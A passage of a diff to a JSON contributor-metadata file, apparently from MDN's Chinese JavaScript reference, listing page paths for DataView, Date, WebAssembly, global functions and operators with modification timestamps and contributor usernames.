"2020-10-15T21:58:44.128Z", "contributors": [ - "fscholz", - "zhangchen", - "yenshen", - "AlexChao" + "kungfucode-rex" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView": { - "modified": "2020-10-15T21:34:38.297Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": { + "modified": "2020-10-15T22:15:30.451Z", "contributors": [ - "wenshui2008", - "RainSlide", - "jason-grimm", - "Jiang-Xuan", - "Terry.Qiao", - "liyongleihf2006", - "Taoja", - "xiaokk06", - "Ende93", - "NIGHTEAGLE" + "Cyandev" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/buffer": { - "modified": "2020-10-15T21:52:04.673Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate": { + "modified": "2020-10-15T21:57:59.458Z", "contributors": [ - "fscholz", - "wizardforcel", - "holynewbie" + "wallena3", + "Hedgehog", + "airt", + "kungfucode-rex" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/byteLength": { - "modified": "2020-10-15T21:52:04.538Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming": { + "modified": "2020-10-15T22:11:30.410Z", "contributors": [ - "fscholz", - "wizardforcel", - "holynewbie" + "Xiaoming666" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/byteOffset": { - "modified": "2020-10-15T21:52:05.195Z", + "Web/JavaScript/Reference/Global_Objects/WebAssembly/validate": { + "modified": "2020-10-15T22:15:29.365Z", "contributors": [ - "fscholz", - "wizardforcel", - "holynewbie" + "Cyandev" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64": { - "modified": "2020-10-15T22:21:33.559Z", + "Web/JavaScript/Reference/Global_Objects/decodeURI": { + "modified": "2020-10-15T21:22:04.033Z", "contributors": [ - "fade-vivida", - "SilverTime" + "Mookiepiece", + "IreneByron", + "laampui", + "xgqfrms-GitHub", + "PoppinL", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64": { - "modified": "2020-10-15T22:22:15.035Z", + "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": { + "modified": "2020-03-12T19:39:38.099Z", "contributors": [ - "jinger7281" + "c1er", + "laampui", + "xgqfrms-GitHub", + "PoppinL", + "maicss", + "Ende93", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getFloat32": { - "modified": "2020-10-15T21:49:48.544Z", + "Web/JavaScript/Reference/Global_Objects/encodeURI": { + "modified": "2020-03-12T19:39:40.462Z", "contributors": [ - "wenshui2008", - "758915145", - "fscholz", - "Taoja" + "xgqfrms-GitHub", + "HelloFun", + "PoppinL", + "leedorian", + "baiya", + "FredWe", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getFloat64": { - "modified": "2020-10-15T21:49:48.242Z", + "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": { + "modified": "2020-10-15T21:29:33.137Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "zhangchen", + "oscarwang913", + "inlym", + "maiff", + "HelloFun", + "PoppinL", + "Roland_Reed", + "fortime", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getInt16": { - "modified": "2020-10-15T21:49:47.595Z", + "Web/JavaScript/Reference/Global_Objects/escape": { + "modified": "2020-03-12T19:40:29.669Z", "contributors": [ - "knightyun", - "758915145", - "fscholz", - "Taoja" + "1renhaO", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getInt32": { - "modified": "2020-10-15T21:49:48.330Z", + "Web/JavaScript/Reference/Global_Objects/eval": { + "modified": "2020-10-15T21:15:16.670Z", "contributors": [ - "758915145", + "amzrk2", + "mrzhouxu", + "chrislung", + "laampui", + "yasen-wolf", + "RainSlide", + "jinhuiWong", + "Akiq2016", + "extending", + "icepro", + "eeeeeeeason", + "JX-Zhuang", + "yanpengxiang", + "SiberianMark", + "Jiang-Xuan", + "Hugh", + "Binly42", + "ziyunfei", "fscholz", - "Taoja" + "qianjiahao", + "teoli", + "huguowei", + "Mgjbot", + "Laser" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getInt8": { - "modified": "2020-10-15T21:44:13.950Z", + "Web/JavaScript/Reference/Global_Objects/globalThis": { + "modified": "2020-10-15T22:10:51.438Z", "contributors": [ - "758915145", + "MinimalistYing", + "RainSlide", + "wallena3", + "kangkai0124", + "SphinxKnight", + "LEORChn", "fscholz", - "Taoja" + "Jack.Works" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getUint16": { - "modified": "2020-10-15T21:49:47.729Z", + "Web/JavaScript/Reference/Global_Objects/isFinite": { + "modified": "2020-10-15T21:24:26.397Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "rulanfenghua", + "littcc", + "Jiang-Xuan", + "golegen", + "SphinxKnight", + "AlexChao", + "teoli", + "zhangyaochun1987" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getUint32": { - "modified": "2020-10-15T21:49:47.551Z", + "Web/JavaScript/Reference/Global_Objects/isNaN": { + "modified": "2020-10-15T21:28:42.019Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "Ende93", + "ubuntugx", + "bluetata", + "INCHMAN", + "xgqfrms-GitHub", + "mt001mt", + "Hugh", + "cekingLu", + "wanghaoran", + "Skyang", + "yenshen", + "yufeng", + "SphinxKnight", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/getUint8": { - "modified": "2020-10-15T21:44:16.655Z", + "Web/JavaScript/Reference/Global_Objects/null": { + "modified": "2020-10-15T21:21:19.908Z", "contributors": [ - "758915145", - "fscholz", - "Taoja" + "wallena3", + "RainSlide", + "GreedyPig", + "zxsunrise", + "zhuangyin", + "Jiang-Xuan", + "SphinxKnight", + "ziyunfei", + "AlexChao", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/prototype": { - "modified": "2020-10-15T21:38:02.121Z", + "Web/JavaScript/Reference/Global_Objects/parseFloat": { + "modified": "2020-10-15T21:21:34.049Z", "contributors": [ - "fscholz", - "liyongleihf2006", - "Taoja", - "mzhejiayu" + "laampui", + "rulanfenghua", + "maoyumaoxun", + "ywjco", + "xgqfrms-GitHub", + "huguangju", + "xuzhijun", + "yenshen", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64": { - "modified": "2020-10-15T22:24:55.568Z", + "Web/JavaScript/Reference/Global_Objects/parseInt": { + "modified": "2020-12-04T02:14:06.997Z", "contributors": [ - "wenshui2008" + "熊英明", + "liuy666", + "zhuguibiao", + "SAYHISAYHI", + "jjc", + "frankfang1990", + "pantao", + "liuzhengdong", + "lmislm", + "Roland_Reed", + "Eurkidu", + "Mars687", + "cyancity", + "BrightLD", + "hua03", + "ywjco", + "lcxmaple", + "weicaiyue", + "righttoe", + "xgqfrms-GitHub", + "xiaohangJose", + "PengyuanJiang", + "xuzhijun", + "du0m0", + "XingxianLI", + "teoli", + "AlexChao", + "Mickeyboy" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64": { - "modified": "2020-10-15T22:24:53.419Z", + "Web/JavaScript/Reference/Global_Objects/undefined": { + "modified": "2020-10-15T21:21:19.165Z", "contributors": [ - "wenshui2008" + "wallena3", + "lizhongzhen11", + "ywjco", + "fzhw88", + "zhuangyin", + "WJ941", + "ervinewell", + "kameii", + "Jiang-Xuan", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setFloat32": { - "modified": "2020-10-15T21:49:50.076Z", + "Web/JavaScript/Reference/Global_Objects/unescape": { + "modified": "2020-12-10T01:27:00.332Z", "contributors": [ - "fscholz", - "Taoja" + "stefango", + "zhangchen", + "ZivHe", + "Jiang-Xuan", + "Ende93" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setFloat64": { - "modified": "2020-10-15T21:49:50.505Z", + "Web/JavaScript/Reference/Global_Objects/uneval": { + "modified": "2020-10-15T21:40:49.845Z", "contributors": [ - "farteryhr", - "fscholz", - "Taoja" + "zhangchen", + "imnodb", + "codert", + "Vincent.Yu" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt16": { - "modified": "2020-10-15T21:49:50.736Z", + "Web/JavaScript/Reference/Iteration_protocols": { + "modified": "2020-11-16T00:41:30.233Z", "contributors": [ - "fscholz", - "Taoja" + "wubaodong", + "Mr_kaze", + "Clarkkkk", + "DengZhihao", + "RainSlide", + "wangxiujuni", + "houzp", + "edward12699", + "luohe", + "Shigma", + "yueshuiniao", + "isLishude", + "xgqfrms-GitHub", + "kdex", + "bnerDY", + "xgqfrms", + "m31271n.", + "jiraiya", + "harttle", + "holajiawei", + "zbinlin", + "panhezeng", + "Qcui", + "Ende93", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt32": { - "modified": "2020-10-15T21:49:50.027Z", + "Web/JavaScript/Reference/Lexical_grammar": { + "modified": "2020-10-15T21:37:37.250Z", "contributors": [ - "fscholz", - "Taoja" + "wwj402", + "RainSlide", + "jiangxin123", + "mistoken", + "DrndwX", + "VdoG", + "eforegist", + "Hitomichan", + "jiahui", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setInt8": { - "modified": "2020-10-15T21:37:32.797Z", + "Web/JavaScript/Reference/Operators": { + "modified": "2020-11-11T01:18:14.844Z", "contributors": [ - "fscholz", - "Taoja", - "mzhejiayu" + "Liugq5713", + "Ende93", + "ourai", + "zhangchen", + "zxsunrise", + "ZTFtrue", + "yangzx", + "xgqfrms-GitHub", + "imhaohao", + "Meteormatt", + "tim.liu", + "lunix01", + "Go7hic", + "yenshen", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setUint16": { - "modified": "2020-10-15T21:49:49.541Z", + "Web/JavaScript/Reference/Operators/Addition_assignment": { + "modified": "2020-10-15T22:32:22.325Z", "contributors": [ - "fscholz", - "Taoja" + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setUint32": { - "modified": "2020-10-15T21:49:50.144Z", + "Web/JavaScript/Reference/Operators/Assignment": { + "modified": "2020-10-15T22:32:28.366Z", "contributors": [ - "fscholz", - "Taoja" + "longfangsong", + "hellorayza", + "yemao", + "Linuocc" ] }, - "Web/JavaScript/Reference/Global_Objects/DataView/setUint8": { - "modified": "2020-10-15T21:49:48.203Z", + "Web/JavaScript/Reference/Operators/Bitwise_AND_assignment": { + "modified": "2020-10-15T22:34:19.309Z", "contributors": [ - "fscholz", - "Taoja" + "Eric_lc", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date": { - "modified": "2020-10-19T08:07:05.768Z", + "Web/JavaScript/Reference/Operators/Bitwise_NOT": { + "modified": "2020-10-15T22:34:23.865Z", "contributors": [ - "SphinxKnight", - "songzeng2016", - "ZhangXianWei", - "johnao", - "oujielong", - "striveyan", - "fefe982", - "Mr_z", - "litmonw", - "RainSlide", - "jackylz", - "fscholz", - "VAN666", - "liuzeyafzy", - "whinc", - "sharp-c", - "distums", - "helloguangxue", - "zhang384579631", - "yenshen", - "fuchao2012", - "hikarievo", - "teoli", - "littleVege", - "AlexChao", - "ziyunfei", - "liminjun", - "confusedwu", - "Mickeyboy", - "Mgjbot" + "Eric_lc", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive": { - "modified": "2020-10-15T22:06:53.986Z", + "Web/JavaScript/Reference/Operators/Bitwise_OR": { + "modified": "2020-10-15T22:34:22.155Z", "contributors": [ - "pea3nut" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/Date": { - "modified": "2020-10-15T22:28:18.123Z", + "Web/JavaScript/Reference/Operators/Bitwise_OR_assignment": { + "modified": "2020-10-15T22:34:21.154Z", "contributors": [ - "lztom2046" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/UTC": { - "modified": "2020-10-15T21:28:25.934Z", + "Web/JavaScript/Reference/Operators/Bitwise_XOR": { + "modified": "2020-10-15T22:34:22.385Z", "contributors": [ - "tclzcja", - "fscholz", - "Hugh", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getDate": { - "modified": "2020-10-15T21:03:50.488Z", + "Web/JavaScript/Reference/Operators/Bitwise_XOR_assignment": { + "modified": "2020-10-15T22:34:23.846Z", "contributors": [ - "hsqin", - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getDay": { - "modified": "2020-10-15T21:03:58.429Z", + "Web/JavaScript/Reference/Operators/Comma_Operator": { + "modified": "2020-10-15T21:32:06.908Z", "contributors": [ - "HFatBird", - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "zhangchen", + "xgqfrms-GitHub", + "ontheway1215", + "AlexChao" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": { - "modified": "2020-10-15T21:03:49.040Z", + "Web/JavaScript/Reference/Operators/Conditional_Operator": { + "modified": "2020-10-15T21:37:34.292Z", "contributors": [ - "fscholz", + "wendy260310", + "dadan", + "KnightYin", + "pluwen", "zhangchen", - "xqin", - "teoli", - "AlexChao", - "ziyunfei" + "ziyunfei", + "Ende93", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getHours": { - "modified": "2020-10-15T21:03:54.198Z", + "Web/JavaScript/Reference/Operators/Destructuring_assignment": { + "modified": "2020-10-15T21:34:33.159Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "fanerge", + "kidonng", + "Aaron-Bird", + "zhuziyi", + "ZeroWhiteSmile", + "RainSlide", + "zhangchen", + "tosmaller", + "a-pple", + "FideoJ", + "xgqfrms-GitHub", + "XHMM", + "kdex", + "Jiasm", + "jerryni", + "LeoEatle", + "donyaw", + "starriv", + "TiaossuP", + "WeRDyin", + "panhezeng", + "jiahui", + "pjsong", + "zilong-thu", + "lunix01", + "ziyunfei", + "fskuok" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": { - "modified": "2020-10-15T21:03:36.395Z", + "Web/JavaScript/Reference/Operators/Division": { + "modified": "2020-10-18T03:29:08.158Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "MapMaths", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": { - "modified": "2020-10-15T21:03:39.835Z", + "Web/JavaScript/Reference/Operators/Division_assignment": { + "modified": "2020-10-15T22:34:21.674Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getMonth": { - "modified": "2020-10-15T21:03:43.325Z", + "Web/JavaScript/Reference/Operators/Exponentiation": { + "modified": "2020-10-18T04:06:14.289Z", "contributors": [ - "fscholz", - "viko16", - "Ende93", - "teoli", - "AlexChao", - "ziyunfei" + "MapMaths", + "xeunglay", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": { - "modified": "2020-10-15T21:03:45.760Z", + "Web/JavaScript/Reference/Operators/Exponentiation_assignment": { + "modified": "2020-10-15T22:34:25.557Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao", - "ziyunfei" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getTime": { - "modified": "2020-10-15T21:28:11.731Z", + "Web/JavaScript/Reference/Operators/Greater_than": { + "modified": "2020-10-15T22:32:32.486Z", "contributors": [ - "YISHI", - "fscholz", - "Ende93", - "AlexChao", - "ziyunfei" + "jarirliu" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": { - "modified": "2020-10-15T21:28:12.331Z", + "Web/JavaScript/Reference/Operators/Greater_than_or_equal": { + "modified": "2020-10-15T22:32:26.171Z", "contributors": [ - "daix6", - "fscholz", - "AlexChao" + "ziyunfei", + "shishana" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": { - "modified": "2020-10-15T21:33:57.569Z", + "Web/JavaScript/Reference/Operators/Grouping": { + "modified": "2020-10-15T21:32:23.898Z", "contributors": [ - "fscholz", - "saintwinkle" + "RainSlide", + "Idealist_EZ", + "zhangchen", + "yenshen" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": { - "modified": "2020-10-15T21:33:56.103Z", + "Web/JavaScript/Reference/Operators/Increment": { + "modified": "2020-11-14T04:00:24.472Z", "contributors": [ - "fscholz", - "saintwinkle" + "seanhuai", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": { - "modified": "2020-10-15T21:33:57.710Z", + "Web/JavaScript/Reference/Operators/Inequality": { + "modified": "2020-10-18T04:16:16.608Z", "contributors": [ - "fscholz", - "saintwinkle" + "MapMaths", + "YeahPotato" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": { - "modified": "2020-10-15T21:34:04.488Z", + "Web/JavaScript/Reference/Operators/Left_shift": { + "modified": "2020-10-15T22:34:24.967Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": { - "modified": "2020-10-15T21:34:05.550Z", + "Web/JavaScript/Reference/Operators/Left_shift_assignment": { + "modified": "2020-10-15T22:34:28.331Z", + "contributors": [ + "laampui" + ] + }, + "Web/JavaScript/Reference/Operators/Less_than": { + "modified": "2020-10-15T22:34:22.220Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": { - "modified": "2020-10-15T21:34:04.468Z", + "Web/JavaScript/Reference/Operators/Less_than_or_equal": { + "modified": "2020-10-15T22:32:26.501Z", "contributors": [ - "fscholz", - "saintwinkle" + "shishana" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": { - "modified": "2020-10-15T21:34:04.629Z", + "Web/JavaScript/Reference/Operators/Logical_AND_assignment": { + "modified": "2020-10-15T22:34:22.943Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": { - "modified": "2020-10-15T21:34:04.630Z", + "Web/JavaScript/Reference/Operators/Logical_NOT": { + "modified": "2020-10-15T22:34:26.449Z", "contributors": [ - "fscholz", - "saintwinkle" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/getYear": { - "modified": "2020-10-15T21:28:12.583Z", + "Web/JavaScript/Reference/Operators/Logical_OR": { + "modified": "2020-10-15T22:34:22.730Z", "contributors": [ - "fscholz", - "Edith_Ren", - "teoli", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/now": { - "modified": "2020-10-15T21:21:13.943Z", + "Web/JavaScript/Reference/Operators/Logical_OR_assignment": { + "modified": "2020-10-15T22:34:21.861Z", "contributors": [ - "RainSlide", - "fscholz", - "Ende93", - "AlexChao", - "ziyunfei", - "teoli", - "StuPig" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/parse": { - "modified": "2020-10-15T21:28:30.337Z", + "Web/JavaScript/Reference/Operators/Logical_nullish_assignment": { + "modified": "2020-10-15T22:33:59.629Z", "contributors": [ - "lyh2668", - "fscholz", - "Tao-Quixote", - "hkuclion", - "distums", - "gqqnbig", - "yeliex", - "AlexChao" + "JoshOY" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/prototype": { - "modified": "2020-10-15T21:28:32.786Z", + "Web/JavaScript/Reference/Operators/Multiplication": { + "modified": "2020-10-15T22:34:23.887Z", "contributors": [ - "zhangchen", - "imgss", - "fscholz", - "regiondavid", - "mage3k", - "Cattla", - "teoli", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setDate": { - "modified": "2020-10-15T21:28:14.248Z", + "Web/JavaScript/Reference/Operators/Multiplication_assignment": { + "modified": "2020-10-15T22:34:26.770Z", "contributors": [ - "jinger7281", - "fscholz", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": { - "modified": "2020-10-15T21:28:11.404Z", + "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": { + "modified": "2020-10-15T22:25:14.991Z", "contributors": [ - "fscholz", - "AlexChao" + "xgqfrms", + "RainSlide", + "Coink", + "ran" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setHours": { - "modified": "2020-10-15T21:28:14.385Z", + "Web/JavaScript/Reference/Operators/Object_initializer": { + "modified": "2020-10-15T21:37:33.998Z", "contributors": [ - "fscholz", - "AlexChao" + "lengjingify", + "zhangchen", + "xgqfrms-GitHub", + "slimeball", + "williamchu123", + "hitme" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": { - "modified": "2020-10-15T21:28:19.563Z", + "Web/JavaScript/Reference/Operators/Operator_Precedence": { + "modified": "2020-09-26T23:18:03.052Z", "contributors": [ - "fscholz", - "htitme", - "AlexChao" + "taichiyi", + "Linuocc", + "Yang-yibu", + "zsirfs", + "zhangchen", + "ZQH", + "QinZhiNian", + "jianglinjie", + "xhlwill", + "maicss", + "czyin", + "Ende93", + "AlexChao", + "yenshen", + "teoli", + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": { - "modified": "2020-10-15T21:28:16.896Z", + "Web/JavaScript/Reference/Operators/Property_Accessors": { + "modified": "2020-10-15T21:37:38.990Z", "contributors": [ - "fscholz", - "AlexChao" + "RainSlide", + "zhangchen", + "isLishude", + "xiaojunzhou", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setMonth": { - "modified": "2020-10-15T21:28:14.760Z", + "Web/JavaScript/Reference/Operators/Remainder_assignment": { + "modified": "2020-10-15T22:34:27.144Z", "contributors": [ - "ZZES_REN", - "fscholz", - "luyouxin84", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": { - "modified": "2020-10-15T21:28:14.577Z", + "Web/JavaScript/Reference/Operators/Right_shift": { + "modified": "2020-11-02T06:18:13.407Z", "contributors": [ - "fscholz", - "AlexChao" + "Boswell", + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setTime": { - "modified": "2020-10-15T21:28:10.430Z", + "Web/JavaScript/Reference/Operators/Right_shift_assignment": { + "modified": "2020-10-15T22:34:28.606Z", "contributors": [ - "dylanyg", - "fscholz", - "ziyunfei", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": { - "modified": "2020-10-15T21:34:46.724Z", + "Web/JavaScript/Reference/Operators/Spread_syntax": { + "modified": "2020-11-26T05:06:49.056Z", "contributors": [ - "fscholz", - "rubyisapm" + "superchow", + "NorthWind", + "renfufei", + "fanjieqi", + "kczjczhYue", + "zhangchen", + "maoguojun" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": { - "modified": "2020-10-15T21:48:19.613Z", + "Web/JavaScript/Reference/Operators/Strict_equality": { + "modified": "2020-10-15T22:34:20.707Z", "contributors": [ - "fscholz", - "zachary05" + "LydiaYuan" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": { - "modified": "2020-10-15T21:53:04.641Z", + "Web/JavaScript/Reference/Operators/Strict_inequality": { + "modified": "2020-10-15T22:31:52.866Z", "contributors": [ - "fscholz", - "haijianyang" + "yemao", + "milulelele" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": { - "modified": "2020-10-15T21:55:54.800Z", + "Web/JavaScript/Reference/Operators/Subtraction": { + "modified": "2020-10-15T22:34:24.192Z", "contributors": [ - "fscholz", - "yys" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": { - "modified": "2020-10-15T22:00:10.646Z", + "Web/JavaScript/Reference/Operators/Subtraction_assignment": { + "modified": "2020-10-15T22:34:27.258Z", "contributors": [ - "fscholz", - "LiuYuan" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": { - "modified": "2020-10-15T21:51:40.559Z", + "Web/JavaScript/Reference/Operators/Unary_negation": { + "modified": "2020-10-15T22:34:23.921Z", "contributors": [ - "fscholz", - "wizardforcel", - "Jabinzou" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": { - "modified": "2020-10-15T21:49:40.074Z", + "Web/JavaScript/Reference/Operators/Unary_plus": { + "modified": "2020-10-15T22:34:22.724Z", "contributors": [ - "fscholz", - "wizardforcel", - "petrelselina" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/setYear": { - "modified": "2020-10-15T22:29:46.049Z", + "Web/JavaScript/Reference/Operators/Unsigned_right_shift": { + "modified": "2020-10-15T22:34:23.607Z", "contributors": [ - "SDUTWSL" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toDateString": { - "modified": "2020-10-15T21:28:24.093Z", + "Web/JavaScript/Reference/Operators/Unsigned_right_shift_assignment": { + "modified": "2020-10-15T22:34:24.975Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao" + "laampui" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toGMTString": { - "modified": "2020-10-15T21:28:14.066Z", + "Web/JavaScript/Reference/Operators/await": { + "modified": "2020-08-15T05:29:31.365Z", "contributors": [ - "fscholz", - "AlexChao" + "zzzimaple", + "shifenjiandan", + "Syclover-u2400", + "chang-shuai", + "i850", + "shhider", + "xgqfrms-GitHub", + "chenlexing", + "x-cold", + "liuqipeng417" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toISOString": { - "modified": "2020-10-15T21:28:16.900Z", + "Web/JavaScript/Reference/Operators/class": { + "modified": "2020-10-15T21:37:37.172Z", "contributors": [ + "Peidong_Xie", "fscholz", - "AlexChao" + "xgqfrms-GitHub", + "zyq930501", + "ziyunfei", + "sartrey", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toJSON": { - "modified": "2020-10-15T21:28:08.978Z", + "Web/JavaScript/Reference/Operators/delete": { + "modified": "2020-10-15T21:07:30.470Z", "contributors": [ - "fscholz", - "KMKNKK", - "Cattla", - "helloguangxue", - "yenshen", - "Yaty", + "zcdll", + "wallena3", + "zhangchen", + "wendy260310", + "yaksha", + "pyz1989", + "Vincent-yz", + "ucev", + "jamesfancy", + "ZackBee", + "lazybusy", + "Ende93", + "xgqfrms-GitHub", + "xwartz", "AlexChao", - "ziyunfei" + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString": { - "modified": "2020-10-15T21:28:17.098Z", + "Web/JavaScript/Reference/Operators/function": { + "modified": "2020-03-12T19:39:30.038Z", "contributors": [ - "fscholz", - "teoli", - "AlexChao" + "inlics", + "LJJ1996", + "ucev", + "zhuangyin", + "ryanlid", + "xgqfrms-GitHub", + "Ende93", + "AlexChao", + "SphinxKnight", + "nightire" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleString": { - "modified": "2020-10-15T21:28:25.398Z", + "Web/JavaScript/Reference/Operators/function*": { + "modified": "2020-10-15T21:37:40.102Z", "contributors": [ - "fscholz", - "wangerniu", - "liyongleihf2006", - "teoli", - "AlexChao" + "HCSkatana", + "zhangchen", + "chenyeah", + "ShupingLiu", + "ooops", + "lunix01" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString": { - "modified": "2020-10-15T21:28:22.937Z", + "Web/JavaScript/Reference/Operators/in": { + "modified": "2020-10-15T21:21:37.099Z", "contributors": [ - "fscholz", + "zhuangyin", + "zhangchen", + "lemonsWen", + "kameii", + "zachary05", + "AlexChao", + "SphinxKnight", "teoli", - "AlexChao" + "ziyunfei" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toSource": { - "modified": "2020-10-15T22:00:19.218Z", + "Web/JavaScript/Reference/Operators/instanceof": { + "modified": "2020-12-10T01:21:18.307Z", "contributors": [ - "fscholz", - "haipeng.liang" + "xingzhewj", + "Lsnsh", + "kidonng", + "chenzhh", + "helloyong", + "zhangchen", + "LJJ1996", + "Minhow.liu", + "zhuangyin", + "xgqfrms-GitHub", + "ReedSun", + "liudanning", + "xgqfrms", + "SamuraiMe", + "jonkee", + "suffering", + "Ende93", + "jetzhliu", + "floraLam", + "tiansh", + "AlexChao", + "ziyunfei", + "teoli" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toString": { - "modified": "2020-10-15T21:28:13.694Z", + "Web/JavaScript/Reference/Operators/new": { + "modified": "2020-10-15T21:30:30.354Z", "contributors": [ - "yunxu1019", - "fscholz", + "HermitSun", + "lmx-Hexagram", + "wuwensheng1992", + "RainSlide", + "toyflivver", + "nanyang24", + "Akiq2016", + "zhangchen", + "btea", + "zhuangyin", + "TroyMa1990", + "xgqfrms-GitHub", + "pokka", + "ruiM92", + "Ke.shidong", + "yangzi", "yenshen", - "AlexChao" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Date/toTimeString": { - "modified": "2020-10-15T21:28:22.895Z", - "contributors": [ - "fscholz", - "teoli", - "AlexChao" + "fskuok", + "jiacai2050", + "fphonor", + "SphinxKnight", + "TomWan" ] }, - "Web/JavaScript/Reference/Global_Objects/Date/toUTCString": { - "modified": "2020-10-15T21:28:16.518Z", + "Web/JavaScript/Reference/Operators/new.target": { + "modified": "2020-10-15T21:39:57.852Z", "contributors": [ - "fscholz", - "chesterchenn", - "AlexChao" + "RoXoM", + "jafck", + "zhangchen", + "sunhengzhe", + "ngtmuzi", + "ccnuzindex" ] }, - 